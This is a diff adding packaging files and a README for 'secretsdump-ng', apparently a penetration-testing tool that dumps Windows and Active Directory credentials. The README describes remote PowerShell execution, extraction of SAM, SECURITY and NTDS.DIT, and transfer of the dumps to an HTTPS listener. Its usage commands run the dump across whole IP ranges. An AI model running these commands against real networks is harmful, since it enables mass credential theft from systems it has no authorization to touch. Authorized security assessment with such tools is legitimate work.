+ os.makedirs(UPLOAD_DIR, exist_ok=True)
621
+
622
+ parser.add_argument("ip_range", help="IP range (e.g. 10.0.1-5.1-254)")
623
+ parser.add_argument("username", help="Domain username")
624
+ parser.add_argument("password", help="Password")
625
+ parser.add_argument("--threads", metavar="NUM_THREADS", type=int, default=10, help="Number of concurrent threads")
626
+ parser.add_argument("--timeout", metavar="TIMEOUT_SECONDS", type=int, default=20, help="Number of seconds before commands timeout")
627
+ parser.add_argument("-j", "--just-dc-user",metavar='USER', dest="just_dc_user", help="Extract only one user.")
628
+ parser.add_argument("-v", "--verbose", action="store_true",help="Show exec_across_windows output")
629
+
630
+ args = parser.parse_args()
631
+ main(args)
632
+
633
+
634
+ if __name__ == "__main__":
635
+ main_cli()
@@ -0,0 +1,86 @@
1
+ Metadata-Version: 2.4
2
+ Name: secretsdump-ng
3
+ Version: 1.0.0
4
+ Summary: Next-generation secretsdump tool using DSInternals for credential extraction
5
+ Author: Khael
6
+ Project-URL: Homepage, https://github.com/KhaelK138/secretsdump-ng
7
+ Project-URL: Repository, https://github.com/KhaelK138/secretsdump-ng
8
+ Project-URL: Issues, https://github.com/KhaelK138/secretsdump-ng/issues
9
+ Keywords: security,pentest,active-directory,credentials,secretsdump,secretsdump-ng
10
+ Classifier: Development Status :: 4 - Beta
11
+ Classifier: Intended Audience :: Information Technology
12
+ Classifier: Intended Audience :: System Administrators
13
+ Classifier: Programming Language :: Python :: 3
14
+ Classifier: Programming Language :: Python :: 3.8
15
+ Classifier: Programming Language :: Python :: 3.9
16
+ Classifier: Programming Language :: Python :: 3.10
17
+ Classifier: Programming Language :: Python :: 3.11
18
+ Classifier: Programming Language :: Python :: 3.12
19
+ Classifier: Topic :: Security
20
+ Requires-Python: >=3.8
21
+ Description-Content-Type: text/markdown
22
+ License-File: LICENSE
23
+ Requires-Dist: impacket>=0.11.0
24
+ Provides-Extra: dev
25
+ Requires-Dist: build; extra == "dev"
26
+ Requires-Dist: twine; extra == "dev"
27
+ Dynamic: license-file
28
+
29
+ # secretsdump-ng
30
+
31
+ Credential dumping tool that uses DSInternals for extracting credentials from Windows systems, using any available command-execution port (rather than relying on 445).
32
+
33
+ Massive props to DSInternals & Impacket; this tool really isn't anything revolutionary and uses the impressive work already completed by Michael Grafnetter and the Fortra team.
34
+
35
+ ## Features
36
+
37
+ - **NTDS.DIT extraction** using DSInternals on Domain Controllers
38
+ - **Registry hive dumping** (SAM, SYSTEM, SECURITY) on all Windows systems
39
+ - **Multi-threaded** operations for dumping from multiple hosts
40
+ - **Secure transfer of credentials** via HTTPS
41
+ - **Formatted output** compatible with standard secretsdump format
42
+ - **Filtered extraction** - dump only specific users with `--just-dc-user`
43
+
44
+ ## Usage
45
+
46
+ ```bash
47
+ # Dump all credentials from a single host
48
+ secretsdump-ng 192.168.1.10 username password
49
+
50
+ # Dump from multiple hosts using IP range
51
+ secretsdump-ng 192.168.1.10-20 username password
52
+
53
+ # Dump only a specific user
54
+ secretsdump-ng 192.168.1.10 username password --just-dc-user administrator
55
+
56
+ # Use more threads for faster scanning
57
+ secretsdump-ng 192.168.1.1-254 username password --threads 20
58
+
59
+ # Verbose output
60
+ secretsdump-ng 192.168.1.10 username password -v
61
+ ```
62
+
63
+ ## How It Works
64
+
65
+ 1. **Sets up HTTPS server** on port 1338 to receive credential dumps
66
+ 2. **Executes PowerShell remotely** on target systems using `exec_across_windows.py`
67
+ 3. **Extracts registry hives** (SAM, SYSTEM, SECURITY) from all Windows systems
68
+ 4. **Extracts NTDS.DIT** using DSInternals on Domain Controllers
69
+ 5. **Processes and formats** credentials using impacket-secretsdump
70
+ 6. **Saves output** to `./secretsdump_ng_out/[IP]/secretsdump.out`
71
+
72
+
73
+ Admin accounts are highlighted with `(admin)` tag. Machine accounts are sorted to the bottom.
74
+
75
+ ## Security Notes
76
+
77
+ - Uses temporary SSL certificates for HTTPS transfers
78
+ - Temporary files on target systems are stored in `$env:TEMP` and cleaned up after extraction
79
+
80
+ ## License
81
+
82
+ MIT License - see LICENSE file for details
83
+
84
+ ## Disclaimer
85
+
86
+ This tool is intended for authorized security assessments only. Ensure you have proper authorization before using this tool on any systems.
@@ -0,0 +1,11 @@
1
+ LICENSE
2
+ README.md
3
+ pyproject.toml
4
+ secretsdump_ng/__init__.py
5
+ secretsdump_ng/secretsdump_ng.py
6
+ secretsdump_ng.egg-info/PKG-INFO
7
+ secretsdump_ng.egg-info/SOURCES.txt
8
+ secretsdump_ng.egg-info/dependency_links.txt
9
+ secretsdump_ng.egg-info/entry_points.txt
10
+ secretsdump_ng.egg-info/requires.txt
11
+ secretsdump_ng.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ secretsdump-ng = secretsdump_ng.secretsdump_ng:main_cli
@@ -0,0 +1,5 @@
1
+ impacket>=0.11.0
2
+
3
+ [dev]
4
+ build
5
+ twine
@@ -0,0 +1 @@
1
+ secretsdump_ng
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+